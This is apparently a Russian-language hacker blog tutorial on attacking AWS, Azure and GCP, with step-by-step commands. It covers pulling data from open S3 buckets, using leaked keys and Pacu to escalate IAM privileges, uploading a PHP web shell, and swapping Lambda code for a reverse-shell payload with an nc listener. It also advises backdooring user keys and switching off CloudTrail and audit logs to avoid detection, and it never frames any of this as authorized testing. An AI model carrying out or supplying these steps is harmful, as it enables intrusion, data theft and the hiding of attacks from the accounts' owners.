Cloud-пентест: как ломать AWS, Azure и GCP
Облачные сервисы — это новая земля обетованная для пентester’ов, а AWS, Azure и GCP — просто кладезь дыр, если админы ленятся. Сегодня разберём, как ломать эти платформы, тырить данные из S3-бакетов, эксплуатировать IAM и серверлесс, да ещё и автоматизировать всё это дело. Погнали по шагам, как в старые добрые, когда мы WAF’ы сносили. Терминал открыт, лезем в бой!
Cloud-пентест: Ломаем AWS, Azure и GCP из подвала
Что вижу, куда лезу
Облака — это просто виртуальные сервера, но с кучей веб-интерфейсов, API и мисконфигов. Точка входа — почти всегда человеческий фактор: открытые S3-бакеты, утёкшие ключи в GitHub, кривые IAM-политики. Что бросилось в глаза? Админы часто оставляют публичный доступ к хранилищам или забывают ограничить права для IAM-ролей. Это как дефолтные creds на серваке — бери и вали. Наша цель — залезть в инфраструктуру, эскалировать доступ и, если повезёт, утащить данные или запустить свой код.
Векторы атаки: От OSINT до RCE в облаке
1. OSINT: Ищем открытые S3-бакеты и утёкшие ключи
Первый шаг — разведка. S3-бакеты в AWS часто висят с публичным доступом, а ключи API утекают в публичные репы. Находим и тырим.
- Поиск S3-бакетов:
Используйawscli
для проверки открытых бакетов. Если доступ разрешён без аутентификации — это джекпот.- Команда:
1 |
aws s3 ls s3://target-bucket --no-sign-request |
Если бакет открыт, качай всё:
1 |
aws s3 cp s3://target-bucket/ . --recursive --no-sign-request |
Поиск ключей в репах:
Используй truffleHog
для поиска утёкших creds в GitHub или локальных репах.
- Команда:
1 |
truffleHog git https://github.com/target/repo |
- Ищи строки с
AWS_ACCESS_KEY_ID
илиAWS_SECRET_ACCESS_KEY
. Если нашёл — сохраняй для следующего шага.
2. IAM-перебор: Доступ через украденные ключи
Если ключи в руках, настраивай их для работы через awscli
и начинай перебирать доступы. IAM-политики часто дают больше прав, чем нужно.
- Настройка ключей:
- Команда:
1 2 |
aws configure # Вставляешь Access Key и Secret Key |
Проверка доступов:
Используй инструмент Pacu
для автоматизации анализа IAM.
- Установка:
1 |
pip3 install pacu |
Запуск:
1 2 |
pacu # Используй модули вроде iam__enum_permissions для проверки прав |
- Результат: Часто IAM-роль даёт доступ к S3, EC2 или даже админские привилегии. Если права есть, переходи к эксплуатации.
3. Эксплуатация S3: Заливаем полезную нагрузку
Если S3-бакет доступен на запись, можно залить что-то вкусное, например, веб-шелл, и получить доступ через публичный URL.
- Команда:
1 |
aws s3 cp shell.php s3://target-bucket/public/ |
- Результат: Если бакет публичный, заходишь через браузер на
https://target-bucket.s3.amazonaws.com/public/shell.php
и получаешь управление. Если там ещё и бэкэнд на PHP крутится — это прямой RCE.
4. Серверлесс-функции: RCE через Lambda
AWS Lambda или Azure Functions часто используются для обработки событий, но код там может быть уязвим к инъекциям. Если у тебя есть доступ к редактированию функции через IAM, можно впихнуть свой payload.
- Шаг 1: Проверь доступ к Lambda через
awscli
:
1 |
aws lambda list-functions |
Шаг 2: Если нашёл функцию, обнови код с вредоносным скриптом (например, reverse shell на Python):
1 2 3 |
zip payload.zip payload.py aws lambda update-function-code --function-name target-function --zip- file fileb://payload.zip |
- Результат: Функция выполнит твой код при следующем вызове. Настрой слушатель на своём сервере через
nc -lvp 4444
и жди коннект.
5. Бонус для GCP и Azure
- GCP: Ищи открытые Cloud Storage бакеты через
gsutil
:
1 |
gsutil ls gs://target-bucket |
- Также проверяй ключи в JSON-формате, которые могут утекать в репы.
- Azure: Используй
azcli
для проверки доступа к Blob Storage:
1 2 |
az storage blob list --account-name target-account --container-name target-container |
- Часто контейнеры открыты на чтение или запись.
Трюк: Автоматизация сканирования облака
Ручной перебор — это для лохов, автоматизируй всё! Используй готовые тулы или пиши свои скрипты.
- CloudSploit: Готовый инструмент для поиска мисконфигов в AWS, Azure и GCP.
- Установка:
1 |
npm install -g cloudsploit |
Запуск:
1 |
cloudsploit --config ./config.js |
- Результат: Отчёт с кучей уязвимостей вроде открытых бакетов или кривых IAM-политик.
- Boto3-скрипты: Для AWS пиши свои скрипты на Python с библиотекой
boto3
. Пример для проверки S3:
1 2 3 4 5 6 |
import boto3 s3 = boto3.client('s3') buckets = s3.list_buckets() for bucket in buckets['Buckets']: acl = s3.get_bucket_acl(Bucket=bucket['Name']) print(f"Bucket: {bucket['Name']}, ACL: {acl}") |
- Это покажет, какие бакеты открыты для всех.
Советы
- OSINT глубже: Копай дольше через Shodan или Censys, ищи поддомены типа
*.s3.amazonaws.com
или*.blob.core.windows.net
. Там часто висят бакеты. - IAM-эскалация: Если IAM-политика даёт доступ к
iam:CreatePolicy
, создавай себе админские права черезPacu
(модульiam__backdoor_users_keys
). - Серверлесс-атаки: Проверяй триггеры Lambda или Functions на предмет инъекций через события. Иногда можно отправить вредоносный JSON через API Gateway.
- Логирование: Убедись, что CloudTrail (AWS) или аудит-логи (Azure/GCP) не пишут твои действия. Если есть доступ, отключай их.
- План атаки: Нашёл открытые бакеты или ключи? Лезь дальше — качай данные, ищи creds в файлах, эскалируй до админа через IAM. Мы в игре, братан, жги облако!

На этом все. Всем хорошего дня!